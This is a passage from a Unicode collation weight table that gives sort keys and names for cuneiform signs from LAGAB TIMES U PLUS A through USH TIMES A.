[.4B9B.0020.0002] # CUNEIFORM SIGN LAGAB TIMES U PLUS A -121E7 ; [.4B9C.0020.0002] # CUNEIFORM SIGN LAGAB TIMES U PLUS U PLUS U -121E8 ; [.4B9D.0020.0002] # CUNEIFORM SIGN LAGAB TIMES U2 PLUS ASH -121E9 ; [.4B9E.0020.0002] # CUNEIFORM SIGN LAGAB TIMES UD -121EA ; [.4B9F.0020.0002] # CUNEIFORM SIGN LAGAB TIMES USH -121EB ; [.4BA0.0020.0002] # CUNEIFORM SIGN LAGAB SQUARED -121EC ; [.4BA1.0020.0002] # CUNEIFORM SIGN LAGAR -121ED ; [.4BA2.0020.0002] # CUNEIFORM SIGN LAGAR TIMES SHE -121EE ; [.4BA3.0020.0002] # CUNEIFORM SIGN LAGAR TIMES SHE PLUS SUM -121EF ; [.4BA4.0020.0002] # CUNEIFORM SIGN LAGAR GUNU -121F0 ; [.4BA5.0020.0002] # CUNEIFORM SIGN LAGAR GUNU OVER LAGAR GUNU SHE -121F1 ; [.4BA6.0020.0002] # CUNEIFORM SIGN LAHSHU -121F2 ; [.4BA7.0020.0002] # CUNEIFORM SIGN LAL -121F3 ; [.4BA8.0020.0002] # CUNEIFORM SIGN LAL TIMES LAL -121F4 ; [.4BA9.0020.0002] # CUNEIFORM SIGN LAM -121F5 ; [.4BAA.0020.0002] # CUNEIFORM SIGN LAM TIMES KUR -121F6 ; [.4BAB.0020.0002] # CUNEIFORM SIGN LAM TIMES KUR PLUS RU -121F7 ; [.4BAC.0020.0002] # CUNEIFORM SIGN LI -121F8 ; [.4BAD.0020.0002] # CUNEIFORM SIGN LIL -121F9 ; [.4BAE.0020.0002] # CUNEIFORM SIGN LIMMU2 -121FA ; [.4BAF.0020.0002] # CUNEIFORM SIGN LISH -121FB ; [.4BB0.0020.0002] # CUNEIFORM SIGN LU -121FC ; [.4BB1.0020.0002] # CUNEIFORM SIGN LU TIMES BAD -121FD ; [.4BB2.0020.0002] # CUNEIFORM SIGN LU2 -121FE ; [.4BB3.0020.0002] # CUNEIFORM SIGN LU2 TIMES AL -121FF ; [.4BB4.0020.0002] # CUNEIFORM SIGN LU2 TIMES BAD -12200 ; [.4BB5.0020.0002] # CUNEIFORM SIGN LU2 TIMES ESH2 -12201 ; [.4BB6.0020.0002] # CUNEIFORM SIGN LU2 TIMES ESH2 TENU -12202 ; [.4BB7.0020.0002] # CUNEIFORM SIGN LU2 TIMES GAN2 TENU -12203 ; [.4BB8.0020.0002] # CUNEIFORM SIGN LU2 TIMES HI TIMES BAD -12204 ; [.4BB9.0020.0002] # CUNEIFORM SIGN LU2 TIMES IM -12205 ; [.4BBA.0020.0002] # CUNEIFORM SIGN LU2 TIMES KAD2 -12206 ; [.4BBB.0020.0002] # CUNEIFORM SIGN LU2 TIMES KAD3 -12207 ; [.4BBC.0020.0002] # CUNEIFORM SIGN LU2 TIMES KAD3 PLUS ASH -12208 ; [.4BBD.0020.0002] # CUNEIFORM SIGN LU2 TIMES KI -12209 ; [.4BBE.0020.0002] # CUNEIFORM SIGN LU2 TIMES LA PLUS ASH -1220A ; [.4BBF.0020.0002] # CUNEIFORM SIGN LU2 TIMES LAGAB -1220B ; [.4BC0.0020.0002] # CUNEIFORM SIGN LU2 TIMES ME PLUS EN -1220C ; [.4BC1.0020.0002] # CUNEIFORM SIGN LU2 TIMES NE -1220D ; [.4BC2.0020.0002] # CUNEIFORM SIGN LU2 TIMES NU -1220E ; [.4BC3.0020.0002] # CUNEIFORM SIGN LU2 TIMES SI PLUS ASH -1220F ; [.4BC4.0020.0002] # CUNEIFORM SIGN LU2 TIMES SIK2 PLUS BU -12210 ; [.4BC5.0020.0002] # CUNEIFORM SIGN LU2 TIMES TUG2 -12211 ; [.4BC6.0020.0002] # CUNEIFORM SIGN LU2 TENU -12212 ; [.4BC7.0020.0002] # CUNEIFORM SIGN LU2 CROSSING LU2 -12213 ; [.4BC8.0020.0002] # CUNEIFORM SIGN LU2 OPPOSING LU2 -12214 ; [.4BC9.0020.0002] # CUNEIFORM SIGN LU2 SQUARED -12215 ; [.4BCA.0020.0002] # CUNEIFORM SIGN LU2 SHESHIG -12216 ; [.4BCB.0020.0002] # CUNEIFORM SIGN LU3 -12217 ; [.4BCC.0020.0002] # CUNEIFORM SIGN LUGAL -12218 ; [.4BCD.0020.0002] # CUNEIFORM SIGN LUGAL OVER LUGAL -12219 ; [.4BCE.0020.0002] # CUNEIFORM SIGN LUGAL OPPOSING LUGAL -1221A ; [.4BCF.0020.0002] # CUNEIFORM SIGN LUGAL SHESHIG -1221B ; [.4BD0.0020.0002] # CUNEIFORM SIGN LUH -1221C ; [.4BD1.0020.0002] # CUNEIFORM SIGN LUL -1221D ; [.4BD2.0020.0002] # CUNEIFORM SIGN LUM -1221E ; [.4BD3.0020.0002] # CUNEIFORM SIGN LUM OVER LUM -1221F ; [.4BD4.0020.0002] # CUNEIFORM SIGN LUM OVER LUM GAR OVER GAR -12220 ; [.4BD5.0020.0002] # CUNEIFORM SIGN MA -12221 ; [.4BD6.0020.0002] # CUNEIFORM SIGN MA TIMES TAK4 -12222 ; [.4BD7.0020.0002] # CUNEIFORM SIGN MA GUNU -12223 ; [.4BD8.0020.0002] # CUNEIFORM SIGN MA2 -12224 ; [.4BD9.0020.0002] # CUNEIFORM SIGN MAH -12225 ; [.4BDA.0020.0002] # CUNEIFORM SIGN MAR -12226 ; [.4BDB.0020.0002] # CUNEIFORM SIGN MASH -12227 ; [.4BDC.0020.0002] # CUNEIFORM SIGN MASH2 -12228 ; [.4BDD.0020.0002] # CUNEIFORM SIGN ME -12229 ; [.4BDE.0020.0002] # CUNEIFORM SIGN MES -1222A ; [.4BDF.0020.0002] # CUNEIFORM SIGN MI -1222B ; [.4BE0.0020.0002] # CUNEIFORM SIGN MIN -1222C ; [.4BE1.0020.0002] # CUNEIFORM SIGN MU -1222D ; [.4BE2.0020.0002] # CUNEIFORM SIGN MU OVER MU -1222E ; [.4BE3.0020.0002] # CUNEIFORM SIGN MUG -1222F ; [.4BE4.0020.0002] # CUNEIFORM SIGN MUG GUNU -12230 ; [.4BE5.0020.0002] # CUNEIFORM SIGN MUNSUB -12231 ; [.4BE6.0020.0002] # CUNEIFORM SIGN MURGU2 -12232 ; [.4BE7.0020.0002] # CUNEIFORM SIGN MUSH -12233 ; [.4BE8.0020.0002] # CUNEIFORM SIGN MUSH TIMES A -12234 ; [.4BE9.0020.0002] # CUNEIFORM SIGN MUSH TIMES KUR -12235 ; [.4BEA.0020.0002] # CUNEIFORM SIGN MUSH TIMES ZA -12236 ; [.4BEB.0020.0002] # CUNEIFORM SIGN MUSH OVER MUSH -12237 ; [.4BEC.0020.0002] # CUNEIFORM SIGN MUSH OVER MUSH TIMES A PLUS NA -12238 ; [.4BED.0020.0002] # CUNEIFORM SIGN MUSH CROSSING MUSH -12239 ; [.4BEE.0020.0002] # CUNEIFORM SIGN MUSH3 -1223A ; [.4BEF.0020.0002] # CUNEIFORM SIGN MUSH3 TIMES A -1223B ; [.4BF0.0020.0002] # CUNEIFORM SIGN MUSH3 TIMES A PLUS DI -1223C ; [.4BF1.0020.0002] # CUNEIFORM SIGN MUSH3 TIMES DI -1223D ; [.4BF2.0020.0002] # CUNEIFORM SIGN MUSH3 GUNU -1223E ; [.4BF3.0020.0002] # CUNEIFORM SIGN NA -1223F ; [.4BF4.0020.0002] # CUNEIFORM SIGN NA2 -12240 ; [.4BF5.0020.0002] # CUNEIFORM SIGN NAGA -12241 ; [.4BF6.0020.0002] # CUNEIFORM SIGN NAGA INVERTED -12242 ; [.4BF7.0020.0002] # CUNEIFORM SIGN NAGA TIMES SHU TENU -12243 ; [.4BF8.0020.0002] # CUNEIFORM SIGN NAGA OPPOSING NAGA -12244 ; [.4BF9.0020.0002] # CUNEIFORM SIGN NAGAR -12245 ; [.4BFA.0020.0002] # CUNEIFORM SIGN NAM NUTILLU -12246 ; [.4BFB.0020.0002] # CUNEIFORM SIGN NAM -12247 ; [.4BFC.0020.0002] # CUNEIFORM SIGN NAM2 -12248 ; [.4BFD.0020.0002] # CUNEIFORM SIGN NE -12249 ; [.4BFE.0020.0002] # CUNEIFORM SIGN NE TIMES A -1224A ; [.4BFF.0020.0002] # CUNEIFORM SIGN NE TIMES UD -1224B ; [.4C00.0020.0002] # CUNEIFORM SIGN NE SHESHIG -1224C ; [.4C01.0020.0002] # CUNEIFORM SIGN NI -1224D ; [.4C02.0020.0002] # CUNEIFORM SIGN NI TIMES E -1224E ; [.4C03.0020.0002] # CUNEIFORM SIGN NI2 -1224F ; [.4C04.0020.0002] # CUNEIFORM SIGN NIM -12250 ; [.4C05.0020.0002] # CUNEIFORM SIGN NIM TIMES GAN2 TENU -12251 ; [.4C06.0020.0002] # CUNEIFORM SIGN NIM TIMES GAR PLUS GAN2 TENU -12252 ; [.4C07.0020.0002] # CUNEIFORM SIGN NINDA2 -12253 ; [.4C08.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES AN -12254 ; [.4C09.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES ASH -12255 ; [.4C0A.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES ASH PLUS ASH -12256 ; [.4C0B.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES GUD -12257 ; [.4C0C.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES ME PLUS GAN2 TENU -12258 ; [.4C0D.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES NE -12259 ; [.4C0E.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES NUN -1225A ; [.4C0F.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES SHE -1225B ; [.4C10.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES SHE PLUS A AN -1225C ; [.4C11.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES SHE PLUS ASH -1225D ; [.4C12.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES SHE PLUS ASH PLUS ASH -1225E ; [.4C13.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES U2 PLUS ASH -1225F ; [.4C14.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES USH -12260 ; [.4C15.0020.0002] # CUNEIFORM SIGN NISAG -12261 ; [.4C16.0020.0002] # CUNEIFORM SIGN NU -12262 ; [.4C17.0020.0002] # CUNEIFORM SIGN NU11 -122D4 ; [.4C18.0020.0002] # CUNEIFORM SIGN SHIR TENU -122D5 ; [.4C19.0020.0002] # CUNEIFORM SIGN SHIR OVER SHIR BUR OVER BUR -12263 ; [.4C1A.0020.0002] # CUNEIFORM SIGN NUN -12264 ; [.4C1B.0020.0002] # CUNEIFORM SIGN NUN LAGAR TIMES GAR -12265 ; [.4C1C.0020.0002] # CUNEIFORM SIGN NUN LAGAR TIMES MASH -12266 ; [.4C1D.0020.0002] # CUNEIFORM SIGN NUN LAGAR TIMES SAL -12267 ; [.4C1E.0020.0002] # CUNEIFORM SIGN NUN LAGAR TIMES SAL OVER NUN LAGAR TIMES SAL -12268 ; [.4C1F.0020.0002] # CUNEIFORM SIGN NUN LAGAR TIMES USH -12269 ; [.4C20.0020.0002] # CUNEIFORM SIGN NUN TENU -1226A ; [.4C21.0020.0002] # CUNEIFORM SIGN NUN OVER NUN -1226B ; [.4C22.0020.0002] # CUNEIFORM SIGN NUN CROSSING NUN -1226C ; [.4C23.0020.0002] # CUNEIFORM SIGN NUN CROSSING NUN LAGAR OVER LAGAR -1226D ; [.4C24.0020.0002] # CUNEIFORM SIGN NUNUZ -1226E ; [.4C25.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES ASHGAB -1226F ; [.4C26.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES BI -12270 ; [.4C27.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES DUG -12271 ; [.4C28.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES GUD -12272 ; [.4C29.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES IGI GUNU -12273 ; [.4C2A.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES KAD3 -12274 ; [.4C2B.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES LA -12275 ; [.4C2C.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES NE -12276 ; [.4C2D.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES SILA3 -12277 ; [.4C2E.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES U2 -12278 ; [.4C2F.0020.0002] # CUNEIFORM SIGN NUNUZ KISIM5 TIMES BI -12279 ; [.4C30.0020.0002] # CUNEIFORM SIGN NUNUZ KISIM5 TIMES BI U -1227A ; [.4C31.0020.0002] # CUNEIFORM SIGN PA -1227B ; [.4C32.0020.0002] # CUNEIFORM SIGN PAD -1227C ; [.4C33.0020.0002] # CUNEIFORM SIGN PAN -1227D ; [.4C34.0020.0002] # CUNEIFORM SIGN PAP -1227E ; [.4C35.0020.0002] # CUNEIFORM SIGN PESH2 -1227F ; [.4C36.0020.0002] # CUNEIFORM SIGN PI -12280 ; [.4C37.0020.0002] # CUNEIFORM SIGN PI TIMES A -12281 ; [.4C38.0020.0002] # CUNEIFORM SIGN PI TIMES AB -12282 ; [.4C39.0020.0002] # CUNEIFORM SIGN PI TIMES BI -12283 ; [.4C3A.0020.0002] # CUNEIFORM SIGN PI TIMES BU -12284 ; [.4C3B.0020.0002] # CUNEIFORM SIGN PI TIMES E -12285 ; [.4C3C.0020.0002] # CUNEIFORM SIGN PI TIMES I -12286 ; [.4C3D.0020.0002] # CUNEIFORM SIGN PI TIMES IB -12287 ; [.4C3E.0020.0002] # CUNEIFORM SIGN PI TIMES U -12288 ; [.4C3F.0020.0002] # CUNEIFORM SIGN PI TIMES U2 -12289 ; [.4C40.0020.0002] # CUNEIFORM SIGN PI CROSSING PI -1228A ; [.4C41.0020.0002] # CUNEIFORM SIGN PIRIG -1228B ; [.4C42.0020.0002] # CUNEIFORM SIGN PIRIG TIMES KAL -1228C ; [.4C43.0020.0002] # CUNEIFORM SIGN PIRIG TIMES UD -1228D ; [.4C44.0020.0002] # CUNEIFORM SIGN PIRIG TIMES ZA -1228E ; [.4C45.0020.0002] # CUNEIFORM SIGN PIRIG OPPOSING PIRIG -1228F ; [.4C46.0020.0002] # CUNEIFORM SIGN RA -12290 ; [.4C47.0020.0002] # CUNEIFORM SIGN RAB -12291 ; [.4C48.0020.0002] # CUNEIFORM SIGN RI -12292 ; [.4C49.0020.0002] # CUNEIFORM SIGN RU -12293 ; [.4C4A.0020.0002] # CUNEIFORM SIGN SA -12294 ; [.4C4B.0020.0002] # CUNEIFORM SIGN SAG NUTILLU -12295 ; [.4C4C.0020.0002] # CUNEIFORM SIGN SAG -12296 ; [.4C4D.0020.0002] # CUNEIFORM SIGN SAG TIMES A -12297 ; [.4C4E.0020.0002] # CUNEIFORM SIGN SAG TIMES DU -12298 ; [.4C4F.0020.0002] # CUNEIFORM SIGN SAG TIMES DUB -12299 ; [.4C50.0020.0002] # CUNEIFORM SIGN SAG TIMES HA -1229A ; [.4C51.0020.0002] # CUNEIFORM SIGN SAG TIMES KAK -1229B ; [.4C52.0020.0002] # CUNEIFORM SIGN SAG TIMES KUR -1229C ; [.4C53.0020.0002] # CUNEIFORM SIGN SAG TIMES LUM -1229D ; [.4C54.0020.0002] # CUNEIFORM SIGN SAG TIMES MI -1229E ; [.4C55.0020.0002] # CUNEIFORM SIGN SAG TIMES NUN -1229F ; [.4C56.0020.0002] # CUNEIFORM SIGN SAG TIMES SAL -122A0 ; [.4C57.0020.0002] # CUNEIFORM SIGN SAG TIMES SHID -122A1 ; [.4C58.0020.0002] # CUNEIFORM SIGN SAG TIMES TAB -122A2 ; [.4C59.0020.0002] # CUNEIFORM SIGN SAG TIMES U2 -122A3 ; [.4C5A.0020.0002] # CUNEIFORM SIGN SAG TIMES UB -122A4 ; [.4C5B.0020.0002] # CUNEIFORM SIGN SAG TIMES UM -122A5 ; [.4C5C.0020.0002] # CUNEIFORM SIGN SAG TIMES UR -122A6 ; [.4C5D.0020.0002] # CUNEIFORM SIGN SAG TIMES USH -122A7 ; [.4C5E.0020.0002] # CUNEIFORM SIGN SAG OVER SAG -122A8 ; [.4C5F.0020.0002] # CUNEIFORM SIGN SAG GUNU -122A9 ; [.4C60.0020.0002] # CUNEIFORM SIGN SAL -122AA ; [.4C61.0020.0002] # CUNEIFORM SIGN SAL LAGAB TIMES ASH2 -122AB ; [.4C62.0020.0002] # CUNEIFORM SIGN SANGA2 -122AC ; [.4C63.0020.0002] # CUNEIFORM SIGN SAR -122AD ; [.4C64.0020.0002] # CUNEIFORM SIGN SHA -122AE ; [.4C65.0020.0002] # CUNEIFORM SIGN SHA3 -122AF ; [.4C66.0020.0002] # CUNEIFORM SIGN SHA3 TIMES A -122B0 ; [.4C67.0020.0002] # CUNEIFORM SIGN SHA3 TIMES BAD -122B1 ; [.4C68.0020.0002] # CUNEIFORM SIGN SHA3 TIMES GISH -122B2 ; [.4C69.0020.0002] # CUNEIFORM SIGN SHA3 TIMES NE -122B3 ; [.4C6A.0020.0002] # CUNEIFORM SIGN SHA3 TIMES SHU2 -122B4 ; [.4C6B.0020.0002] # CUNEIFORM SIGN SHA3 TIMES TUR -122B5 ; [.4C6C.0020.0002] # CUNEIFORM SIGN SHA3 TIMES U -122B6 ; [.4C6D.0020.0002] # CUNEIFORM SIGN SHA3 TIMES U PLUS A -122B7 ; [.4C6E.0020.0002] # CUNEIFORM SIGN SHA6 -122B8 ; [.4C6F.0020.0002] # CUNEIFORM SIGN SHAB6 -122B9 ; [.4C70.0020.0002] # CUNEIFORM SIGN SHAR2 -122BA ; [.4C71.0020.0002] # CUNEIFORM SIGN SHE -122BB ; [.4C72.0020.0002] # CUNEIFORM SIGN SHE HU -122BC ; [.4C73.0020.0002] # CUNEIFORM SIGN SHE OVER SHE GAD OVER GAD GAR OVER GAR -122BD ; [.4C74.0020.0002] # CUNEIFORM SIGN SHE OVER SHE TAB OVER TAB GAR OVER GAR -122BE ; [.4C75.0020.0002] # CUNEIFORM SIGN SHEG9 -122BF ; [.4C76.0020.0002] # CUNEIFORM SIGN SHEN -122C0 ; [.4C77.0020.0002] # CUNEIFORM SIGN SHESH -122C1 ; [.4C78.0020.0002] # CUNEIFORM SIGN SHESH2 -122C2 ; [.4C79.0020.0002] # CUNEIFORM SIGN SHESHLAM -122C3 ; [.4C7A.0020.0002] # CUNEIFORM SIGN SHID -122C4 ; [.4C7B.0020.0002] # CUNEIFORM SIGN SHID TIMES A -122C5 ; [.4C7C.0020.0002] # CUNEIFORM SIGN SHID TIMES IM -122C6 ; [.4C7D.0020.0002] # CUNEIFORM SIGN SHIM -122C7 ; [.4C7E.0020.0002] # CUNEIFORM SIGN SHIM TIMES A -122C8 ; [.4C7F.0020.0002] # CUNEIFORM SIGN SHIM TIMES BAL -122C9 ; [.4C80.0020.0002] # CUNEIFORM SIGN SHIM TIMES BULUG -122CA ; [.4C81.0020.0002] # CUNEIFORM SIGN SHIM TIMES DIN -122CB ; [.4C82.0020.0002] # CUNEIFORM SIGN SHIM TIMES GAR -122CC ; [.4C83.0020.0002] # CUNEIFORM SIGN SHIM TIMES IGI -122CD ; [.4C84.0020.0002] # CUNEIFORM SIGN SHIM TIMES IGI GUNU -122CE ; [.4C85.0020.0002] # CUNEIFORM SIGN SHIM TIMES KUSHU2 -122CF ; [.4C86.0020.0002] # CUNEIFORM SIGN SHIM TIMES LUL -122D0 ; [.4C87.0020.0002] # CUNEIFORM SIGN SHIM TIMES MUG -122D1 ; [.4C88.0020.0002] # CUNEIFORM SIGN SHIM TIMES SAL -122D2 ; [.4C89.0020.0002] # CUNEIFORM SIGN SHINIG -122D3 ; [.4C8A.0020.0002] # CUNEIFORM SIGN SHIR -122D6 ; [.4C8B.0020.0002] # CUNEIFORM SIGN SHITA -122D7 ; [.4C8C.0020.0002] # CUNEIFORM SIGN SHU -122D8 ; [.4C8D.0020.0002] # CUNEIFORM SIGN SHU OVER INVERTED SHU -122D9 ; [.4C8E.0020.0002] # CUNEIFORM SIGN SHU2 -122DA ; [.4C8F.0020.0002] # CUNEIFORM SIGN SHUBUR -122DB ; [.4C90.0020.0002] # CUNEIFORM SIGN SI -122DC ; [.4C91.0020.0002] # CUNEIFORM SIGN SI GUNU -122DD ; [.4C92.0020.0002] # CUNEIFORM SIGN SIG -122DE ; [.4C93.0020.0002] # CUNEIFORM SIGN SIG4 -122DF ; [.4C94.0020.0002] # CUNEIFORM SIGN SIG4 OVER SIG4 SHU2 -122E0 ; [.4C95.0020.0002] # CUNEIFORM SIGN SIK2 -122E1 ; [.4C96.0020.0002] # CUNEIFORM SIGN SILA3 -122E2 ; [.4C97.0020.0002] # CUNEIFORM SIGN SU -122E3 ; [.4C98.0020.0002] # CUNEIFORM SIGN SU OVER SU -122E4 ; [.4C99.0020.0002] # CUNEIFORM SIGN SUD -122E5 ; [.4C9A.0020.0002] # CUNEIFORM SIGN SUD2 -122E6 ; [.4C9B.0020.0002] # CUNEIFORM SIGN SUHUR -122E7 ; [.4C9C.0020.0002] # CUNEIFORM SIGN SUM -122E8 ; [.4C9D.0020.0002] # CUNEIFORM SIGN SUMASH -122E9 ; [.4C9E.0020.0002] # CUNEIFORM SIGN SUR -122EA ; [.4C9F.0020.0002] # CUNEIFORM SIGN SUR9 -122EB ; [.4CA0.0020.0002] # CUNEIFORM SIGN TA -122EC ; [.4CA1.0020.0002] # CUNEIFORM SIGN TA ASTERISK -122ED ; [.4CA2.0020.0002] # CUNEIFORM SIGN TA TIMES HI -122EE ; [.4CA3.0020.0002] # CUNEIFORM SIGN TA TIMES MI -122EF ; [.4CA4.0020.0002] # CUNEIFORM SIGN TA GUNU -122F0 ; [.4CA5.0020.0002] # CUNEIFORM SIGN TAB -122F1 ; [.4CA6.0020.0002] # CUNEIFORM SIGN TAB OVER TAB NI OVER NI DISH OVER DISH -122F2 ; [.4CA7.0020.0002] # CUNEIFORM SIGN TAB SQUARED -122F3 ; [.4CA8.0020.0002] # CUNEIFORM SIGN TAG -122F4 ; [.4CA9.0020.0002] # CUNEIFORM SIGN TAG TIMES BI -122F5 ; [.4CAA.0020.0002] # CUNEIFORM SIGN TAG TIMES GUD -122F6 ; [.4CAB.0020.0002] # CUNEIFORM SIGN TAG TIMES SHE -122F7 ; [.4CAC.0020.0002] # CUNEIFORM SIGN TAG TIMES SHU -122F8 ; [.4CAD.0020.0002] # CUNEIFORM SIGN TAG TIMES TUG2 -122F9 ; [.4CAE.0020.0002] # CUNEIFORM SIGN TAG TIMES UD -122FA ; [.4CAF.0020.0002] # CUNEIFORM SIGN TAK4 -122FB ; [.4CB0.0020.0002] # CUNEIFORM SIGN TAR -122FC ; [.4CB1.0020.0002] # CUNEIFORM SIGN TE -122FD ; [.4CB2.0020.0002] # CUNEIFORM SIGN TE GUNU -122FE ; [.4CB3.0020.0002] # CUNEIFORM SIGN TI -122FF ; [.4CB4.0020.0002] # CUNEIFORM SIGN TI TENU -12300 ; [.4CB5.0020.0002] # CUNEIFORM SIGN TIL -12301 ; [.4CB6.0020.0002] # CUNEIFORM SIGN TIR -12302 ; [.4CB7.0020.0002] # CUNEIFORM SIGN TIR TIMES TAK4 -12303 ; [.4CB8.0020.0002] # CUNEIFORM SIGN TIR OVER TIR -12304 ; [.4CB9.0020.0002] # CUNEIFORM SIGN TIR OVER TIR GAD OVER GAD GAR OVER GAR -12305 ; [.4CBA.0020.0002] # CUNEIFORM SIGN TU -12306 ; [.4CBB.0020.0002] # CUNEIFORM SIGN TUG2 -12307 ; [.4CBC.0020.0002] # CUNEIFORM SIGN TUK -12308 ; [.4CBD.0020.0002] # CUNEIFORM SIGN TUM -12309 ; [.4CBE.0020.0002] # CUNEIFORM SIGN TUR -1230A ; [.4CBF.0020.0002] # CUNEIFORM SIGN TUR OVER TUR ZA OVER ZA -1230B ; [.4CC0.0020.0002] # CUNEIFORM SIGN U -1230C ; [.4CC1.0020.0002] # CUNEIFORM SIGN U GUD -1230D ; [.4CC2.0020.0002] # CUNEIFORM SIGN U U U -1230E ; [.4CC3.0020.0002] # CUNEIFORM SIGN U OVER U PA OVER PA GAR OVER GAR -1230F ; [.4CC4.0020.0002] # CUNEIFORM SIGN U OVER U SUR OVER SUR -12310 ; [.4CC5.0020.0002] # CUNEIFORM SIGN U OVER U U REVERSED OVER U REVERSED -12311 ; [.4CC6.0020.0002] # CUNEIFORM SIGN U2 -12312 ; [.4CC7.0020.0002] # CUNEIFORM SIGN UB -12313 ; [.4CC8.0020.0002] # CUNEIFORM SIGN UD -12314 ; [.4CC9.0020.0002] # CUNEIFORM SIGN UD KUSHU2 -12315 ; [.4CCA.0020.0002] # CUNEIFORM SIGN UD TIMES BAD -12316 ; [.4CCB.0020.0002] # CUNEIFORM SIGN UD TIMES MI -12317 ; [.4CCC.0020.0002] # CUNEIFORM SIGN UD TIMES U PLUS U PLUS U -12318 ; [.4CCD.0020.0002] # CUNEIFORM SIGN UD TIMES U PLUS U PLUS U GUNU -12319 ; [.4CCE.0020.0002] # CUNEIFORM SIGN UD GUNU -1231A ; [.4CCF.0020.0002] # CUNEIFORM SIGN UD SHESHIG -1231B ; [.4CD0.0020.0002] # CUNEIFORM SIGN UD SHESHIG TIMES BAD -1231C ; [.4CD1.0020.0002] # CUNEIFORM SIGN UDUG -1231D ; [.4CD2.0020.0002] # CUNEIFORM SIGN UM -1231E ; [.4CD3.0020.0002] # CUNEIFORM SIGN UM TIMES LAGAB -1231F ; [.4CD4.0020.0002] # CUNEIFORM SIGN UM TIMES ME PLUS DA -12320 ; [.4CD5.0020.0002] # CUNEIFORM SIGN UM TIMES SHA3 -12321 ; [.4CD6.0020.0002] # CUNEIFORM SIGN UM TIMES U -12322 ; [.4CD7.0020.0002] # CUNEIFORM SIGN UMBIN -12323 ; [.4CD8.0020.0002] # CUNEIFORM SIGN UMUM -12324 ; [.4CD9.0020.0002] # CUNEIFORM SIGN UMUM TIMES KASKAL -12325 ; [.4CDA.0020.0002] # CUNEIFORM SIGN UMUM TIMES PA -12326 ; [.4CDB.0020.0002] # CUNEIFORM SIGN UN -12327 ; [.4CDC.0020.0002] # CUNEIFORM SIGN UN GUNU -12328 ; [.4CDD.0020.0002] # CUNEIFORM SIGN UR -12329 ; [.4CDE.0020.0002] # CUNEIFORM SIGN UR CROSSING UR -1232A ; [.4CDF.0020.0002] # CUNEIFORM SIGN UR SHESHIG -1232B ; [.4CE0.0020.0002] # CUNEIFORM SIGN UR2 -1232C ; [.4CE1.0020.0002] # CUNEIFORM SIGN UR2 TIMES A PLUS HA -1232D ; [.4CE2.0020.0002] # CUNEIFORM SIGN UR2 TIMES A PLUS NA -1232E ; [.4CE3.0020.0002] # CUNEIFORM SIGN UR2 TIMES AL -1232F ; [.4CE4.0020.0002] # CUNEIFORM SIGN UR2 TIMES HA -12330 ; [.4CE5.0020.0002] # CUNEIFORM SIGN UR2 TIMES NUN -12331 ; [.4CE6.0020.0002] # CUNEIFORM SIGN UR2 TIMES U2 -12332 ; [.4CE7.0020.0002] # CUNEIFORM SIGN UR2 TIMES U2 PLUS ASH -12333 ; [.4CE8.0020.0002] # CUNEIFORM SIGN UR2 TIMES U2 PLUS BI -12334 ; [.4CE9.0020.0002] # CUNEIFORM SIGN UR4 -12335 ; [.4CEA.0020.0002] # CUNEIFORM SIGN URI -12336 ; [.4CEB.0020.0002] # CUNEIFORM SIGN URI3 -12337 ; [.4CEC.0020.0002] # CUNEIFORM SIGN URU -12338 ; [.4CED.0020.0002] # CUNEIFORM SIGN URU TIMES A -12339 ; [.4CEE.0020.0002] # CUNEIFORM SIGN URU TIMES ASHGAB -1233A ; [.4CEF.0020.0002] # CUNEIFORM SIGN URU TIMES BAR -1233B ; [.4CF0.0020.0002] # CUNEIFORM SIGN URU TIMES DUN -1233C ; [.4CF1.0020.0002] # CUNEIFORM SIGN URU TIMES GA -1233D ; [.4CF2.0020.0002] # CUNEIFORM SIGN URU TIMES GAL -1233E ; [.4CF3.0020.0002] # CUNEIFORM SIGN URU TIMES GAN2 TENU -1233F ; [.4CF4.0020.0002] # CUNEIFORM SIGN URU TIMES GAR -12340 ; [.4CF5.0020.0002] # CUNEIFORM SIGN URU TIMES GU -12341 ; [.4CF6.0020.0002] # CUNEIFORM SIGN URU TIMES HA -12342 ; [.4CF7.0020.0002] # CUNEIFORM SIGN URU TIMES IGI -12343 ; [.4CF8.0020.0002] # CUNEIFORM SIGN URU TIMES IM -12344 ; [.4CF9.0020.0002] # CUNEIFORM SIGN URU TIMES ISH -12345 ; [.4CFA.0020.0002] # CUNEIFORM SIGN URU TIMES KI -12346 ; [.4CFB.0020.0002] # CUNEIFORM SIGN URU TIMES LUM -12347 ; [.4CFC.0020.0002] # CUNEIFORM SIGN URU TIMES MIN -12348 ; [.4CFD.0020.0002] # CUNEIFORM SIGN URU TIMES PA -12349 ; [.4CFE.0020.0002] # CUNEIFORM SIGN URU TIMES SHE -1234A ; [.4CFF.0020.0002] # CUNEIFORM SIGN URU TIMES SIG4 -1234B ; [.4D00.0020.0002] # CUNEIFORM SIGN URU TIMES TU -1234C ; [.4D01.0020.0002] # CUNEIFORM SIGN URU TIMES U PLUS GUD -1234D ; [.4D02.0020.0002] # CUNEIFORM SIGN URU TIMES UD -1234E ; [.4D03.0020.0002] # CUNEIFORM SIGN URU TIMES URUDA -1234F ; [.4D04.0020.0002] # CUNEIFORM SIGN URUDA -12350 ; [.4D05.0020.0002] # CUNEIFORM SIGN URUDA TIMES U -12351 ; [.4D06.0020.0002] # CUNEIFORM SIGN USH -12352 ; [.4D07.0020.0002] # CUNEIFORM SIGN USH TIMES A 